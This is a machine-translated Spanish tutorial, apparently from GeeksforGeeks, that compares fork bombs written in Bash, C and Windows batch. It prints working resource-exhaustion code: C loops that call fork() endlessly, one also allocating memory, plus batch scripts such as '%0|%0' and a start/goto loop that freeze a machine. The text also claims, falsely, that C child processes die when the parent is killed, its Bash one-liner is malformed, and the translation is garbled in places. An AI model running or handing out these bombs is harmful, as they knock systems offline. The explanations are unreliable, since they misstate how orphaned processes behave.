Bomba de bifurcación C vs BASH

Requisitos previos:

Bomba de horquilla Bash:

:(){:&:&};:

Trabajar en Unix:
en los sistemas operativos similares a Unix, las bombas de bifurcación generalmente se escriben para usar la llamada al sistema de bifurcación. Como los procesos bifurcados también son copias del primer programa, una vez que reanudan la ejecución desde la siguiente dirección en el puntero del marco, también buscan crear una copia de sí mismos. Esto tiene el efecto de provocar un crecimiento exponencial en los procesos.

Programa C para bomba de horquilla:

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
  
int main()
{
    //Infinite loop
    while (1)
    {
        // Generating child fork processes
        fork();
    }
}

Trabajar en Windows:
los sistemas operativos Microsoft Windows no tienen una funcionalidad equivalente a la llamada del sistema de bifurcación de Unix. Por lo tanto, una bomba bifurcada en un sistema operativo de este tipo debe crear un nuevo proceso en lugar de bifurcarse a partir de uno existente.

¿Cuál es más poderoso entre Bash y C fork() bomb?

Está claro que la bomba de horquilla BASH es mucho más poderosa que su versión del programa C. La razón es que en BASH el proceso que creamos está separado del padre. Si el proceso principal (el que iniciamos inicialmente) se elimina, el resto de los procesos continúan. Pero en la implementación de C, los procesos secundarios enumerados mueren si el padre muere, por lo que es suficiente para derribar el proceso inicial que comenzamos para derribar todo el árbol de procesos de bifurcación continua. Un script se comunica con el sistema directamente.

El programa fork bomb en C se puede modificar. Podemos asignar memoria en el programa al momento de crear los procesos de bifurcación.
A continuación se muestra la implementación de la bomba de horquilla C modificada:

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
  
int main()
{
    // Infinite loop
    while (1)
    {
        // Generating child fork processes
        fork();
  
        // Allocating memory in RAM
        int *p = (int *) malloc (sizeof (int) * 100000);
    }
}

Diferentes bombas de horquilla en Windows:

  • Guión terminal:
    %0|%0

    Guárdelo como una extensión de bat (Ejemplo fork.bat).
    El proceso de cada símbolo es de alguna manera similar al script BASH. La línea dada volverá a llamar al mismo archivo y canalizará la salida a otra instancia del mismo archivo por lotes. No es lo suficientemente mortal como para bloquear el sistema. Pero seguramente hará que la CPU no responda lo suficiente como para dejar el reinicio como única opción.

  • Archivo por lotes :
    :runthis
    start %0
    goto runthis
    

    Guárdelo como una extensión de bat (Ejemplo fork.bat).
    Laboral :

    :runthis is a label which determines a point 
    where the execution can be sent using the goto command.
    
    start %0 asks the command prompt to launch 
    another instance of the same batch file into another process.
    
    goto runthis command tells the execution to 
    go to the runthis label which will then call the start %0 command.
    

    Entrará en una llamada auto recursiva y terminará creando muchos procesos.
    ¡El sistema colgará debido al uso excesivo de recursos! Se abrirán muchas ventanas del símbolo del sistema y todo el sistema se detendrá en unos pocos segundos.

Este artículo es una contribución de Rohit Thapliyal . Si le gusta GeeksforGeeks y le gustaría contribuir, también puede escribir un artículo usando contribuya.geeksforgeeks.org o envíe su artículo por correo a contribuya@geeksforgeeks.org. Vea su artículo que aparece en la página principal de GeeksforGeeks y ayude a otros Geeks.

Escriba comentarios si encuentra algo incorrecto o si desea compartir más información sobre el tema tratado anteriormente.

Publicación traducida automáticamente

Artículo escrito por GeeksforGeeks-1 y traducido por Barcelona Geeks. The original can be accessed here. Licence: CCBY-SA

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *